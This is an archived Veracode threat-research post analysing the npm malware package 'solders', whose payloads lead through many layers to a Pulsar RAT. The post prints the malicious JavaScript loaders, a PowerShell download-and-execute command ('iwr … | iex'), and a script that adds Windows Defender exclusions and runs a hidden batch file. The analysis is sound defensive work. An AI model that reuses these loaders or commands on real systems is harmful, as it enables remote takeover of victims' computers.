{
	"id": "9128b917-9b27-4fee-974e-772f952d8a71",
	"created_at": "2026-04-29T02:22:05.05338Z",
	"updated_at": "2026-04-29T08:22:22.683558Z",
	"deleted_at": null,
	"sha1_hash": "06f47135cb0109ea099f7fd3edf182bb1bae77de",
	"title": "Down the Rabbit Hole of Unicode Obfuscation | Veracode",
	"llm_title": "",
	"authors": "",
	"file_creation_date": "0001-01-01T00:00:00Z",
	"file_modification_date": "0001-01-01T00:00:00Z",
	"file_size": 1809798,
	"plain_text": "Down the Rabbit Hole of Unicode Obfuscation | Veracode\r\nBy Natalie Tischler\r\nPublished: 2025-06-09 · Archived: 2026-04-29 02:07:49 UTC\r\nThe rabbit–hole went straight on like a tunnel for some way, and then dipped suddenly down, so\r\nsuddenly that Alice had not a moment to think about stopping herself before she found herself falling\r\ndown a very deep well.\r\n– Alice’s Adventures in Wonderland by Lewis Carroll, Ch. 1\r\nIntroduction\r\nIn the ever-vigilant effort to secure the open-source ecosystem, Veracode’s continuous monitoring systems\r\nrecently flagged a pair of npm malware packages— solders and @mediawave/lib . The malicious behavior,\r\nhowever, is not at all obvious at first because of a layer of unusual Unicode obfuscation that caught our attention.\r\nOur investigation focused on the solders package, which leverages a common yet critical attack vector: a\r\npostinstall script in its package.json . This hook means that simply installing the package is enough to\r\ntrigger its hidden malicious payload.\r\nUpon inspection, the target lib.js file presented itself not as typical code, but as a dizzying wall of Unicode\r\ncharacters, predominantly Japanese Katakana and Hiragana. This was far more than simple character substitution;\r\nit was the entry point to an extremely layered and complex malicious attack chain. What began as an analysis of a\r\nsingle, clever JavaScript obfuscation technique quickly spiraled into a deep-dive that traversed multiple\r\nprogramming languages, downloader stages, and even steganography. Join us as we peel back each layer of this\r\nremarkably elaborate attack, following the trail from a few cryptic symbols all the way down to its final RAT\r\npayload.\r\nTL;DR\r\nIf you’re just here for the highlights and want to see the full, multi-layered attack chain in a concise format, please\r\nscroll down to the “Recap: The Anatomy of a Multi-Layered Attack” section. There, we detail each of the\r\ntwelve layers we had to unravel to get to the bottom of this threat.\r\nBackground\r\nThese packages were published by an npm user with the name codewizguru , a relatively new user who\r\nregistered with npm at 2025-04-23T04:25:13.116Z .\r\nhttps://www.veracode.com/blog/down-the-rabbit-hole-of-unicode-obfuscation/\r\nPage 1 of 13\n\nLike a lot of malware found on npm, this one starts in the package.json :\r\n{\r\n \"name\": \"solders\",\r\n \"version\": \"1.0.8\",\r\n \"description\": \"\",\r\n \"main\": \"lib.js\",\r\n \"scripts\": {\r\n \"start\": \"node lib.js\",\r\n \"postinstall\": \"node lib.js\",\r\n \"test\": \"echo \\\"Error: no test specified\\\" \u0026\u0026 exit 1\"\r\n },\r\n \"keywords\": [],\r\n \"author\": \"\",\r\n \"license\": \"ISC\",\r\n \"type\": \"commonjs\"\r\n}\r\nA simple postinstall hook is running the lib.js file during the installation. Let’s go take a look there.\r\n[ㄓ,ソ,を,ㄦ,ㄢ,,ゾ,ギ,ㄯ,ダ,,,,ぢ,,ヾ]=\".\"+{},ヘ=[],[,ㄭ,る,ー,ゅ,ペ,れ,ゑ,,,ヶ,ス,,,み]=[!!ゾ]+!ゾ+ゾ.ゾ,[,,,\r\nAt first glance, it’s hard to believe that this is actually valid JavaScript. It looks like a seemingly random collection\r\nof Japanese symbols. But this is actually valid JavaScript and it runs!\r\nIt turns out that this particular obfuscation scheme uses the Unicode characters as variable names and a\r\nsophisticated chain of dynamic code generation to work. The technique revolves around meticulously building\r\nprimitive character sets through clever destructuring of string literals and object properties. These character-laden\r\nUnicode variables are then dynamically assembled into JavaScript keywords and code snippets. Ultimately, this\r\nallows the script to dynamically reconstruct and invoke the Function constructor, which is then used to execute\r\nthe final payload. Join us as we peel back the layers!\r\nWorking Through It\r\nThis obfuscation scheme plays out in several different phases:\r\nhttps://www.veracode.com/blog/down-the-rabbit-hole-of-unicode-obfuscation/\r\nPage 2 of 13\n\n1. Phase 1: Primitive character acquisition via string manipulation\r\nThis phase generates a foundational set of single characters (letters, numbers, and symbols) by leveraging\r\nJavaScript’s type coercion to stringify common objects and then destructuring these resulting strings into\r\nUnicode-named variables.\r\n2. Phase 2: Dynamic Function constructor creation\r\nThe script then cleverly obtains a reference to the global Function constructor, not by calling it directly,\r\nbut by accessing the constructor property of other built-in objects like arrays, preparing it for dynamic\r\ncode execution.\r\n3. Phase 3: Building the equivalent of String.fromCharCode\r\nUsing the previously acquired characters and the Function constructor, the script dynamically builds a\r\nnew function that replicates the behavior of String.fromCharCode . enabling it to create arbitrary\r\ncharacters from numerical codes.\r\n4. Phase 4: Assembling the malicious payload\r\nWith the character generation function in place and the digits available, this phase constructs the final\r\nmalicious payload string piece by piece, calling the String.fromCharCode equivalent with dynamically\r\ngenerated character codes.\r\n5. Phase 5: Dynamic execution of the concealed payload\r\nFinally, the script uses the dynamically retrieved Function constructor again to create yet another new\r\nfunction whose body is built to execute the assembled payload string.\r\nThis script is not only obfuscated with Unicode characters but also minified. To better understand its mechanics,\r\nwe’ll reformat it slightly and analyze its operations on a more “line-by-line” basis. For the sake of brevity and\r\nsanity, we’ll just work through a small portion of each phase shown above, to understand how it works.\r\nPhase 1\r\nStarting with phase 1, we’ll take a look at the first line, which already packs a significant amount of activity:\r\n[ㄓ,ソ,を,ㄦ,ㄢ,,ゾ,ギ,ㄯ,ダ,,,,ぢ,,ヾ] = \".\" + {}\r\nLet’s examine the right-hand side first: \".\" + {} . JavaScript is a highly dynamic language, particularly\r\nregarding type coercion, which is a key reason why such obfuscation techniques are effective. It allows many\r\noperations between variables of different types. In this instance, a string ( \".\" ) is being concatenated with an\r\nobject ( {} ). JavaScript handles this by converting the object to its string representation. An empty object {}\r\nwhen cast to a string becomes \"[object Object]\" . Therefore, the expression \".\" + {} evaluates to the string\r\n\".[object Object]\" .\r\nNow, let’s look at the left-hand side: [ㄓ,ソ,を,ㄦ,ㄢ,,ゾ,ギ,ㄯ,ダ,,,,ぢ,,ヾ] . This is an array destructuring\r\nassignment. The string \".[object Object]\" (which is 16 characters long) is unpacked into the array slots. Each\r\nUnicode character variable in the array on the left is assigned the character at the corresponding index from the\r\nstring on the right. Empty slots in the destructuring array (indicated by consecutive commas) mean the character at\r\nthat position in the string is skipped.\r\nAfter this line executes, the following assignments are made:\r\nhttps://www.veracode.com/blog/down-the-rabbit-hole-of-unicode-obfuscation/\r\nPage 3 of 13\n\nㄓ = '.'\r\nソ = '['\r\nを = 'o'\r\nㄦ = 'b'\r\nㄢ = 'j'\r\n// (The character 'e' at index 5 is skipped due to the double comma after ㄢ)\r\nゾ = 'c' // (at index 6)\r\nギ = 't' // (at index 7)\r\nㄯ = ' ' // (a single space at index 8)\r\nダ = 'O' // (at index 9)\r\n// (Characters 'b', 'j', 'e' at indices 10, 11, 12 are skipped due to the four consecutive commas after ダ)\r\nぢ = 'c'\r\n// (The character 't' at index 14 is skipped due to the double comma after ぢ)\r\nヾ = ']'\r\nPhase 2\r\nEventually we get the phase 2, the core function acquisition, which is pretty much just this line:\r\nヅ=ヘ[ぢ][ぢ];\r\nFrom earlier, ヘ is [] and ぢ is the string “constructor\" . Therefore, ヘ[ぢ] is [].constructor , which\r\nis the Array function. Putting this all together means that ヅ is Array[“constructor”] which is the\r\nFunction constructor itself.\r\nPhase 3\r\nThere’s a lot of dynamic-ness involved in this phase so we’ll just wave our hands a bit and suffice it to say now\r\nthat the Function constructor is available, the script uses it to produce り as a reliable String.fromCharCode\r\nequivalent, which is essential for decoding the main payload in the next phase. It’s worth noting that during our\r\nreversing of this phase of this script, a portion of an intermediate function didn’t seem to work properly. Despite\r\nthis, we’re proceeding with the assumption that り successfully functions as a String.fromCharCode\r\nequivalent, enabling the script to translate character codes into actual characters, which is what happens next.\r\nPhase 4\r\nThis phase is all about payload assembly. It starts with the following:\r\n[に,ㄩ,す,ボ,ャ,ン,ズ,ク,ㄩ,ヿ,ぉ,プ,の,ア,ザ,チ,ち,ゆ,て,う,ヸ,ㄙ,ㄣ,せ,ゲ,き,ㄖ,か,ゐ,ろ,キ,む,ば,\r\nぷ,に,ヽ,ぅ]=[り(+[ユ+ヨ]),り(+[ユ+ユ]), ...]\r\nThis line uses り (the String.fromCharCode function) and the digit characters ( ユ , ヨ , etc.) to generate a\r\nlarge list of characters. Then each line that looks like り(+[digit_char_1 + digit_char_2]) creates a character\r\nfrom its char code formed by concatenating one to four digit characters. These characters ( に , ㄩ , す , …) are\r\nthe building blocks of the final malicious payload string.\r\nhttps://www.veracode.com/blog/down-the-rabbit-hole-of-unicode-obfuscation/\r\nPage 4 of 13\n\nPhase 5\r\nFinally, we reach the payload execution, which happens in a single, dense line of code. Let’s break down how this\r\nworks:\r\n1. A Function That Creates a Function: The line begins with ヅ(...) , which is a call to the Function\r\nconstructor we captured in Phase 2. The first part of the expression, ヅ(ー,ー+ぬ+ペ+れ+ル+ー+ぬ+ペ+れ\r\n+ル+ー+べ+べ) , dynamically creates and returns a new function. This new function is essentially a custom\r\njoin method; its purpose is to take an array as an argument and return its elements joined together into a\r\nsingle string. It is functionally equivalent to new Function('arr', 'return arr.join(\"\")') .\r\n2. Passing the Character Array: The second part of the expression is the very long array of characters that\r\nwas built in the previous phase: [ゾ,を,ヶ,ゑ,ギ,ㄯ,ボ,ロ,ャ,...] . This array is immediately passed as\r\nan argument to the joining function created in the first step.\r\n3. Assembling the Final Payload: The result of this operation is a single, deobfuscated string containing the\r\nnext stage of malicious JavaScript. This is what we’ll call THE_FINAL_PAYLOAD .\r\n4. Execution: The entire construct is then executed, effectively performing an eval() on the newly\r\nassembled payload string. This act of joining and immediately executing the string kicks off the second\r\nstage of the attack. As with previous stages, the malware contained errors so we had to make minor\r\ncorrections to successfully execute the payload and reveal its contents.\r\nThe Final Payload…Or Is It?\r\nAfter working through all that, we can assemble the THE_FINAL_PAYLOAD string which works out to the following:\r\nconst _0x7f6717 = _0x1ec2;\r\nfunction _0x2bdc() {\r\n const _0x2d0ea2 = [\r\n \"log\",\r\n \"ire)'child\",\r\n \"1923651gWcVzK\",\r\n \"ot\\x20support\",\r\n \"1484865czXXqU\",\r\n \"This\\x20depen\",\r\n \"exec\",\r\n \".tel\\x20|\\x20iex\",\r\n \".\\x20Please\\x20r\",\r\n \"cess.mainM\",\r\n \"e\\x20--headle\",\r\n \"return\\x20pro\",\r\n \"constructo\",\r\n \"un\\x20on\\x20a\\x20Wi\",\r\n \"10stJVcA\",\r\n \"_process'[\",\r\n \"conhost.ex\",\r\nhttps://www.veracode.com/blog/down-the-rabbit-hole-of-unicode-obfuscation/\r\nPage 5 of 13\n\n\"9736OkHqzp\",\r\n \"3658176pqIPFD\",\r\n \"ell\\x20-c\\x20\\x22iw\",\r\n \"exit\",\r\n \"ndows\\x20OS.\",\r\n \"450971BYicY\",\r\n \"ed\\x20on\\x20\",\r\n \"r\\x20firewall\",\r\n \"ss\\x20powersh\",\r\n \"odule.requ\",\r\n \"2051bIKJWW\",\r\n \"platform\",\r\n \"3wpHcS\",\r\n \"4iwWsU\",\r\n \"9130198BdlHWS\",\r\n \"457244knLtk\",\r\n ];\r\n _0x2bdc = function () {\r\n return _0x2d0ea2;\r\n };\r\n return _0x2bdc();\r\n}\r\nfunction _0x1ec2(_0x51f240, _0x5402cf) {\r\n const _0x2bdc9d = _0x2bdc();\r\n return (\r\n (_0x1ec2 = function (_0x1ec28d, _0xe242b9) {\r\n _0x1ec28d = _0x1ec28d - 0x160;\r\n let _0x1d1d1d = _0x2bdc9d[_0x1ec28d];\r\n return _0x1d1d1d;\r\n }),\r\n _0x1ec2(_0x51f240, _0x5402cf)\r\n );\r\n}\r\n(function (_0xfe0adc, _0x36de0c) {\r\n const _0x33dccf = {\r\n _0xdd0539: 0x17e,\r\n _0x12a63a: 0x164,\r\n _0x264024: 0x17a,\r\n },\r\n _0x204db3 = _0x1ec2,\r\n _0x4c6961 = _0xfe0adc();\r\n while (!![]) {\r\n try {\r\n const _0x35ac60 =\r\nhttps://www.veracode.com/blog/down-the-rabbit-hole-of-unicode-obfuscation/\r\nPage 6 of 13\n\nparseInt(_0x204db3(_0x33dccf._0xdd0539)) / 0x1 +\r\n (parseInt(_0x204db3(0x167)) / 0x2) *\r\n (-parseInt(_0x204db3(_0x33dccf._0x12a63a)) / 0x3) +\r\n (parseInt(_0x204db3(0x165)) / 0x4) *\r\n (parseInt(_0x204db3(0x16c)) / 0x5) +\r\n parseInt(_0x204db3(_0x33dccf._0x264024)) / 0x6 +\r\n (parseInt(_0x204db3(0x162)) / 0x7) *\r\n (parseInt(_0x204db3(0x179)) / 0x8) +\r\n (parseInt(_0x204db3(0x16a)) / 0x9) *\r\n (parseInt(_0x204db3(0x176)) / 0xa) +\r\n -parseInt(_0x204db3(0x166)) / 0xb;\r\n if (_0x35ac60 === _0x36de0c) break;\r\n else _0x4c6961[\"push\"](_0x4c6961[\"shift\"]());\r\n } catch (_0x39c065) {\r\n _0x4c6961[\"push\"](_0x4c6961[\"shift\"]());\r\n }\r\n }\r\n})(_0x2bdc, 0xd43c8);\r\ntry {\r\n nonexistent();\r\n} catch (_0x14b164) {\r\n const cp = _0x14b164[_0x7f6717(0x174) + \"r\"][_0x7f6717(0x174) + \"r\"](\r\n _0x7f6717(0x173) +\r\n \"cess.mainM\" +\r\n \"odule.requ\" +\r\n _0x7f6717(0x169) +\r\n _0x7f6717(0x177),\r\n )(),\r\n os = _0x14b164[\"constructo\" + \"r\"][_0x7f6717(0x174) + \"r\"](\r\n _0x7f6717(0x173) + _0x7f6717(0x171) + _0x7f6717(0x161) + \"ire)'os'[\",\r\n )();\r\n os[\"platform\"]() === \"win32\"\r\n ? cp[_0x7f6717(0x16e)](\r\n _0x7f6717(0x178) +\r\n _0x7f6717(0x172) +\r\n _0x7f6717(0x160) +\r\n _0x7f6717(0x17b) +\r\n _0x7f6717(0x180) +\r\n _0x7f6717(0x16f) +\r\n \"\\x22\",\r\n )\r\n : (console[_0x7f6717(0x168)](\r\n _0x7f6717(0x16d) +\r\n \"dency\\x20is\\x20n\" +\r\n _0x7f6717(0x16b) +\r\nhttps://www.veracode.com/blog/down-the-rabbit-hole-of-unicode-obfuscation/\r\nPage 7 of 13\n\n\"ot\\x20support\" +\r\n _0x7f6717(0x17f) +\r\n os[_0x7f6717(0x163)]() +\r\n (_0x7f6717(0x170) + _0x7f6717(0x175) + _0x7f6717(0x17d)),\r\n ),\r\n process[_0x7f6717(0x17c)]());\r\n}\r\nNice…more obfuscation. (And yet again, we had to make some adjustments to get this working as valid\r\nJavaScript.) Fortunately, this kind of obfuscation we see all the time and is very easy to reverse. Doing so, yields\r\nthe following:\r\ntry {\r\n nonexistent();\r\n} catch (_0x14b164) {\r\n const cp = _0x14b164.constructor.constructor(\"return process.mainModule.require)'child_process'[\")();\r\n const os = _0x14b164.constructor.constructor(\"return process.mainModule.require)'os'[\")();\r\n if (os.platform() === 'win32') {\r\n cp.exec(\"conhost.exe --headless powershell -c \\\"iwr firewall[.]tel | iex\\\"\");\r\n } else {\r\n console.log(\"This dependency is not supportot supported on \" + os.platform() + \". Please run on a Windows OS\r\n process.exit();\r\n }\r\n}\r\nAlright, now we’re getting somewhere. We peeled back ALL those layers of obfuscation down to this. And finally\r\nthis one is pretty easy to follow. They import child_process and os and if the victim is on a win32 machine,\r\nthey simply execute this line:\r\ncp.exec(\"conhost.exe --headless powershell -c \\\"iwr firewall[.]tel | iex\\\"\");\r\ncp.exec() tell Windows to run a shell command. conhost.exe is the Windows Console Host executable, and\r\nbased on a discussion in this issue, direct invocation of conhost.exe , especially with undocumented arguments\r\nlike --headless is not “officially” supported. Regardless, it appears the attempt in doing so was to make the\r\nsubsequent PowerShell command run covertly without a visible window or in a detectable way. The attacker\r\nuses PowerShell in the following manner:\r\npowershell -c \"iwr firewall[.]tel | iex\"\r\niwr is an alias for Invoke-WebRequest which attempts to download content from the URL firewall[.]tel .\r\nThe content pulled from that domain is then piped directly to iex which is an alias for Invoke-Expression\r\nwhich executes the content (presumably a PowerShell script) directly from memory without writing anything to\r\ndisk. Quite nasty.\r\nThe use of a .tel TLD is interesting. According to wikipedia:\r\nhttps://www.veracode.com/blog/down-the-rabbit-hole-of-unicode-obfuscation/\r\nPage 8 of 13\n\nThe domain’s purpose is to provide a single name space for Internet communications services.\r\nSubdomain registrations serve as a single point of contact for individuals and businesses, providing a\r\nglobal contact directory service by hosting all types of contact information directly in the Domain\r\nName System, without the need to build, host or manage a traditional web service.\r\nTheoretically, it appears that an attacker could stuff malware (such as a PowerShell script) directly in the DNS\r\nTXT records rather than host it on traditional web servers. However, the use of Invoke-WebRequest suggests they\r\nare not taking advantage of this aspect of the domain. Either way, it’s an interesting choice. The whois record\r\nshows that the domain firewall[.]tel was first registered on 2025-04-25.\r\nMore Layers of Obfuscation\r\nWe pulled the script the attacker is hosting at firewall[.]tel and this may or may not be surprising…but it’s\r\nalso obfuscated! We’ve officially ventured into the absurd by this point (though, spoiler alert, there’s still more to\r\ncome). Because we’re just trying to get to the bottom of this rabbit hole quickly now, we’ll go a bit faster through\r\nthese next bits. Here’s what the PowerShell script that comes from firewall[.]tel looks like:\r\nfunction yclf($Y){$uUf='';foreach ($hk in $Y) {$uUf+=[char][Convert]::ToInt32($hk, 2)};return $uUf};\u0026(yclf(@('0\r\nThis script uses a simple but effective obfuscation technique: it defines a function yclf that takes an array of\r\nbinary strings, converts each binary string to its corresponding ASCII character, and concatenates them to form a\r\nclear-text string. The yclf function is then immediately invoked with \u0026 to build and execute a command,\r\nwhich itself is constructed by calling yclf multiple times to deobfuscate different parts of the final script to be\r\nrun by the iex that it’s piped to in the previous section. Working through that deobfuscation yields a PowerShell\r\nscript with Base64-encoded strings, which is easy enough to work through, and doing so we end up with the\r\nfollowing:\r\n$output = \"128737334452129.bat\"\r\n$url = \"https[:]//cdn[.]audiowave[.]org/output[.]bat\"\r\n$silentlyContinue = \"Silentlycontinue\"\r\n$hiddenAttr = \"Hidden\"\r\nfunction Add-Exclusion {\r\n param ([string]$Path)\r\n try {\r\n Add-MpPreference -ExclusionPath $Path -ErrorAction $silentlyContinue\r\n } catch {}\r\n}\r\ntry {\r\n cd $env:APPDATA\r\n Add-Exclusion -Path $env:USERPROFILE\r\n Invoke-WebRequest -Uri $url -OutFile $output -UseBasicParsing -ErrorAction $silentlyContinue\r\n Start-Process -FilePath $output -WindowStyle $hiddenAttr\r\nhttps://www.veracode.com/blog/down-the-rabbit-hole-of-unicode-obfuscation/\r\nPage 9 of 13\n\n} finally {}\r\nFirst, this defines a function Add-Exclusion that attempts to add a specified file path to the Windows Defender\r\nantivirus exclusion list, configured to ignore any errors if this fails. It then changes the current directory to the\r\nuser’s APPDATA folder, attempts to add the entire user profile directory to the Defender exclusion list, downloads\r\na batch file from https[:]//cdn[.]audiowave[.]org/output[.]bat saving it as 128737334452129.bat in\r\nAPPDATA , and finally, executes this downloaded batch file in a hidden window.\r\nSo they pull YET ANOTHER script from a remote URL…guess we better see what we find there:\r\n@echo off\r\n%XFAJ%rEM mind control lumber club damp outer rice drink depth figure\r\n%fOCRH%g%KA3E5%o%OKSL4u%t%uBdfvlDL%o%vwlccbQN% :MEBy\r\n:: reason sand identify mesh cherry obtain style result peanut angry admit\r\n:JNKS\r\ns%KkYNrQQD%et \"s83KDy=IpQtvFQunzQ3g3BSQZxQM/j3wU4EJdtuPMPj/nQp+rHlacWDErkjfNqKVnU0IAQDxgIqLzFErPYDTDeDkH+T2/q4Gf\r\n%DIUxiFX%g%qo6bR%ot%HLKsM5%o :E7Y4znC\r\n%EW1Fs%:: extra diet kick ignore peace\r\n:gg264udo\r\n%cakb%s%Llyxu4L%e%xpjIU%t \"Xi0Ps=5FHRIsXL6ZkRqkUq/+itqp2fsFACIOJrGZOUHOk14fgZDzJdJWgLkrqfWnL5X5K/cuBptn/O5EkpZYQ\r\nse%R4LSP%t \"OshcfEWG=dIXG4Mf8eVWossHTgOaZl+1AcXi9CXEyFTembUCnU+Vofsbrr5dpIUt6koCA1i/vSPKPN8Z68MJJdoIEiJAsqxFPG1j\r\n%aMDv%g%pGgCBUM%o%Sq7yhRF7%to%d7no0z% :jvVVdN\r\n---TRUNCATED---\r\nMore obfuscation. From this point, the level of nesting and obfuscation increases dramatically!\r\nThis is a batch file that clocks in at nearly 1 MB of similar blocks of code over and over. The script is\r\nconcatenating strings together stuffing them into random environment variable names. One of those strings is a list\r\nof those environment variable names in a certain order and another of those strings is a PowerShell script which\r\nconcatenates the environment variables in the order defined from the list to create a Base64-encoded, 3des-encrypted, gzip-encoded .NET dll, which is loads into memory and executes.\r\nWe submitted this DLL to virus total and, not surprisingly, quite a few vendors flag it as malicious. However,\r\nwe’re not yet at the bottom of this hole! Upon inspection of this DLL, we found the that it reaches out to a 3MB\r\npng file hosted at https[:]//i[.]ibb[.]co/BHk2cCNx/dPC0c[.]png . Here’s what the file looks like:\r\nhttps://www.veracode.com/blog/down-the-rabbit-hole-of-unicode-obfuscation/\r\nPage 10 of 13\n\nAnyone who has been in this game long enough, knows that we’re likely dealing with steganography now! And\r\nwhy not?! We haven’t gone through enough yet, so let’s throw some steganography into the mix!\r\nSo we want back to the DLL and decompiled it. Lo and behold, it’s grabbing the last two pixels from this image\r\nand then looping through some data contained elsewhere in it. It ultimately builds up in memory YET ANOTHER\r\n.NET DLL. It also creates task scheduler entries, and contains this UAC bypass technique.\r\nWe submitted this new DLL to virus total and we’ve finally reached the bottom! Dozens of vendors flag it as\r\nmalicious and after doing some research, we suspect it’s Pulsar. According to it’s GitHub, Pulsar is\r\nA Free, Open-Source Remote Administration Tool for Windows\r\nFair enough, it’s definitely that. However, if used maliciously, as it most definitely is in this case, another term for\r\nthis is a RAT.\r\nRecap: The Anatomy of a Multi-Layered Attack\r\nThis investigation revealed a remarkably deep and complex attack chain. To fully appreciate the attacker’s efforts\r\nto evade detection, here is a step-by-step summary of the layers we unraveled:\r\nLayer 1: NPM postinstall Hook: The attack begins with a standard postinstall script in the\r\npackage.json file, automatically executing the malware upon installation.\r\nLayer 2: Unicode Obfuscated JavaScript: The initial lib.js payload is obfuscated using Japanese\r\nHiragana and Katakana characters as variable names, making static analysis nearly impossible at a glance.\r\nLayer 3: Dynamically Reconstructed JavaScript: This Unicode script is not a direct payload, but a\r\nprogram designed to dynamically build primitives (e.g., ‘t’, ‘r’, ‘u’, ‘e’) and reconstruct the Function\r\nconstructor from scratch.\r\nLayer 4: Second-Stage Obfuscated JavaScript: The Unicode layer dynamically assembles and executes\r\na second, more traditionally obfuscated JavaScript payload that uses array shuffling and hex encoding.\r\nhttps://www.veracode.com/blog/down-the-rabbit-hole-of-unicode-obfuscation/\r\nPage 11 of 13\n\nLayer 5: PowerShell Downloader: Once deobfuscated, the JavaScript’s sole purpose is to execute a short\r\nPowerShell command ( iwr firewall[.]tel | iex ) to download and execute the next stage from a\r\nremote server.\r\nLayer 6: Binary-Encoded PowerShell Script: The script hosted at firewall[.]tel is itself obfuscated,\r\nwith the payload encoded as arrays of binary strings that are converted to ASCII characters and executed.\r\nLayer 7: Base64-Encoded PowerShell Script: Deobfuscating the binary strings reveals another\r\nPowerShell script. This one uses Base64 encoding to hide its commands which include adding Windows\r\nDefender exclusions and downloading a malicious batch file.\r\nLayer 8: Obfuscated Batch File: The downloaded output.bat (nearly 1MB in size) uses extensive\r\nobfuscation, setting hundreds of random environment variables and then concatenating them in a specific\r\norder.\r\nLayer 9: Encrypted \u0026 Compressed .NET DLL: The batch script’s true payload is a Base64-encoded,\r\n3DES-encrypted, and Gzip-compressed .NET DLL, which is reconstructed and loaded directly into\r\nmemory.\r\nLayer 10: Steganography: This first .NET DLL is not the final payload. It reaches out to a 3MB PNG\r\nimage file hosted online and uses steganography techniques to extract hidden data from the image.\r\nLayer 11: Second .NET DLL (The RAT): The data extracted from the image is used to build a second\r\n.NET DLL in memory.\r\nLayer 12: Final Payload Deployment: This final DLL is the Pulsar RAT, a remote administration tool that\r\ngives the attacker full control over the victim’s machine.\r\nConclusion\r\nWhat started as an investigation into a fascinating Unicode obfuscation technique unraveled into one of the\r\ndeepest and most complex attack chains we have seen in a public package repository. From a wall of Japanese\r\ncharacters to a RAT hidden within the pixels of a PNG file, the attacker went to extraordinary lengths to conceal\r\ntheir payload, nesting it a dozen layers deep to evade detection.\r\nInitially, this investigation was intended to be a simple write-up on the clever Unicode obfuscation in the\r\nsolders package, which is why we have dedicated significant detail to deconstructing those first few layers.\r\nHowever, as we peeled back that first layer, we found another, and another after that. The attacker’s dedication\r\nwas remarkable, compelling us to follow the rabbit hole to its end. To cover the entire 12-stage attack chain in a\r\nsingle post, we have intentionally moved more quickly through the later stages of obfuscation.\r\nWhile the attacker’s ultimate objective for deploying the Pulsar RAT remains unclear, the sheer complexity of this\r\ndelivery mechanism is a powerful indicator of malicious intent. Adversaries do not invest this level of effort to\r\nhide their tracks for benign activities. Whether the final goal was data exfiltration, corporate espionage, or\r\nestablishing a persistent foothold for a future ransomware attack, the conclusion is unavoidable: the intended\r\noutcome was undoubtedly harmful.\r\nThis journey from a single cryptic file to a full-blown RAT serves as a potent reminder that a simple npm\r\ninstall can expose an organization to extreme risk. The sheer depth of this attack underscores the critical need\r\nfor automated, deep code analysis and continuous vigilance in protecting our development pipelines from\r\nattackers who are clearly willing to go to absurd lengths to succeed.\r\nhttps://www.veracode.com/blog/down-the-rabbit-hole-of-unicode-obfuscation/\r\nPage 12 of 13\n\nWe would also like to mention that we have reported these packages to the npm security team.\r\nBy Veracode Threat Research\r\nSource: https://www.veracode.com/blog/down-the-rabbit-hole-of-unicode-obfuscation/\r\nhttps://www.veracode.com/blog/down-the-rabbit-hole-of-unicode-obfuscation/\r\nPage 13 of 13",
	"extraction_quality": 1,
	"language": "EN",
	"sources": [
		"MITRE"
	],
	"origins": [
		"web"
	],
	"references": [
		"https://www.veracode.com/blog/down-the-rabbit-hole-of-unicode-obfuscation/"
	],
	"report_names": [
		"down-the-rabbit-hole-of-unicode-obfuscation"
	],
	"threat_actors": [],
	"ts_created_at": 1777429325,
	"ts_updated_at": 1777450942,
	"ts_creation_date": 0,
	"ts_modification_date": 0,
	"files": {
		"pdf": "https://archive.orkl.eu/06f47135cb0109ea099f7fd3edf182bb1bae77de.pdf",
		"text": "https://archive.orkl.eu/06f47135cb0109ea099f7fd3edf182bb1bae77de.txt",
		"img": "https://archive.orkl.eu/06f47135cb0109ea099f7fd3edf182bb1bae77de.jpg"
	}
}